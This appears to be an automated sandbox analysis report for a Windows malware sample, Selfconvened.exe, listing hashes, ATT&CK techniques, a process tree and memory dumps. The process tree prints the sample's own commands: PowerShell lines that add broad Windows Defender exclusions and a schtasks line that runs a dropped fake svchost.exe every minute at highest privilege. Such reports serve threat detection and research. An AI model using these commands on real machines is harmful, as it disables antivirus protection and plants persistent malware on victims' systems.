fafa2c77937e7b14af1d156fd7a188c74833f34a45ceb8ce241c7c991e1dea58

General

Target

$TEMP/Selfconvened.exe
Size

4.5MB
MD5

64b5e984fda860eedf19c29a124094fb
SHA1

760c195741989e17b48ad52c13bed35e8ea51692
SHA256

1f47c67d3baa635c4b7dd2bfed0a26a6bd499c3ab5a64d10b391a52e7d71ba39
SHA512

187dbbc7137db41da77dd5c3d1471f82b157d031653109632adb9c49ea519f452b661cfd1845512661dcdb3b00bf2a02b2c3504406fb19ad89b06fcd6afee4e4
SSDEEP

98304:xLIWL25lsofrCgl5PmHGjCYv8LHPrVWPa5Qwy:Fslsofuit0bJWPa5QJ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1652	powershell.exe
2008	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1132	svchost.exe
2416	svchost.exe

Loads dropped DLL 1 IoCs

pid	Process
2792	taskeng.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe
File opened for modification	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1668	Selfconvened.exe
1652	powershell.exe
2008	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	Selfconvened.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	1132	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 1056	1668	Selfconvened.exe	31
PID 1668 wrote to memory of 1056	1668	Selfconvened.exe	31
PID 1668 wrote to memory of 1056	1668	Selfconvened.exe	31
PID 1668 wrote to memory of 2596	1668	Selfconvened.exe	33
PID 1668 wrote to memory of 2596	1668	Selfconvened.exe	33
PID 1668 wrote to memory of 2596	1668	Selfconvened.exe	33
PID 1056 wrote to memory of 1652	1056	cmd.exe	34
PID 1056 wrote to memory of 1652	1056	cmd.exe	34
PID 1056 wrote to memory of 1652	1056	cmd.exe	34
PID 1056 wrote to memory of 2008	1056	cmd.exe	36
PID 1056 wrote to memory of 2008	1056	cmd.exe	36
PID 1056 wrote to memory of 2008	1056	cmd.exe	36
PID 2792 wrote to memory of 1132	2792	taskeng.exe	38
PID 2792 wrote to memory of 1132	2792	taskeng.exe	38
PID 2792 wrote to memory of 1132	2792	taskeng.exe	38
PID 2792 wrote to memory of 2416	2792	taskeng.exe	40
PID 2792 wrote to memory of 2416	2792	taskeng.exe	40
PID 2792 wrote to memory of 2416	2792	taskeng.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\$TEMP\Selfconvened.exe
"C:\Users\Admin\AppData\Local\Temp\$TEMP\Selfconvened.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\system32\cmd.exe
  "cmd" #cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2008
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /f /sc minute /rl highest /mo 1 /tn "Bobsledding" /tr "C:\Windows\system32\WindowsPro\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2596

C:\Windows\system32\taskeng.exe
taskeng.exe {05AF100B-53C6-482D-806C-C4E39819A105} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\system32\WindowsPro\svchost.exe
  C:\Windows\system32\WindowsPro\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\system32\WindowsPro\svchost.exe
  C:\Windows\system32\WindowsPro\svchost.exe
  2⤵
  - Executes dropped EXE
  PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ab8b73e973cbba494afa9998ea2d23a9

SHA1
f541e7ab70b98bcd4c4d0fc5aba3212518f5deb0

SHA256
54b62b5953cc2df58041081b1823744441904936450de862025a52583b1a41f4

SHA512
4aff13d6a908d3d22539502fff118102cd26d7be1a53743b6ee852114188cb9999d2d866d80f8a4a76df2b87c9ece04b67d641c083072d74c2e45f9582ad4109

Download Submit
C:\Windows\System32\WindowsPro\svchost.exe

Filesize
10.9MB

MD5
7a7c8cf73bb6562c36faaa8ad49bdbc5

SHA1
3d1d849d7c7236af1159cf7d26d89c1953829e1f

SHA256
af3e4ef5e47b509d7d6b542ebaf520d4909fad7c86627deefa4934dfd3c0ded3

SHA512
7b4503c46d8137fc3fcd6bded9affb165a68b180ca0668ddde984f8b306159bf9c61252a2dc2f057f72047597129f232bec358863e47d544380b7bb5605d6698

Download Submit
memory/1132-34-0x0000000000E40000-0x00000000012BA000-memory.dmp

Filesize
4.5MB

Download
memory/1652-21-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/1652-20-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/1668-10-0x000007FEF5EF0000-0x000007FEF68DC000-memory.dmp

Filesize
9.9MB

Download
memory/1668-4-0x000007FEF5EF0000-0x000007FEF68DC000-memory.dmp

Filesize
9.9MB

Download
memory/1668-7-0x000000001BFA0000-0x000000001C348000-memory.dmp

Filesize
3.7MB

Download
memory/1668-8-0x00000000210D0000-0x0000000021374000-memory.dmp

Filesize
2.6MB

Download
memory/1668-9-0x000007FEF5EF0000-0x000007FEF68DC000-memory.dmp

Filesize
9.9MB

Download
memory/1668-0-0x000007FEF5EF3000-0x000007FEF5EF4000-memory.dmp

Filesize
4KB

Download
memory/1668-5-0x000007FEF5EF3000-0x000007FEF5EF4000-memory.dmp

Filesize
4KB

Download
memory/1668-6-0x000007FEF5EF0000-0x000007FEF68DC000-memory.dmp

Filesize
9.9MB

Download
memory/1668-3-0x000007FEF5EF0000-0x000007FEF68DC000-memory.dmp

Filesize
9.9MB

Download
memory/1668-2-0x000000001C460000-0x000000001C818000-memory.dmp

Filesize
3.7MB

Download
memory/1668-1-0x00000000011F0000-0x000000000166A000-memory.dmp

Filesize
4.5MB

Download
memory/1668-29-0x000007FEF5EF0000-0x000007FEF68DC000-memory.dmp

Filesize
9.9MB

Download
memory/2008-28-0x0000000002050000-0x0000000002058000-memory.dmp

Filesize
32KB

Download
memory/2008-27-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2416-36-0x0000000000FF0000-0x000000000146A000-memory.dmp

Filesize
4.5MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads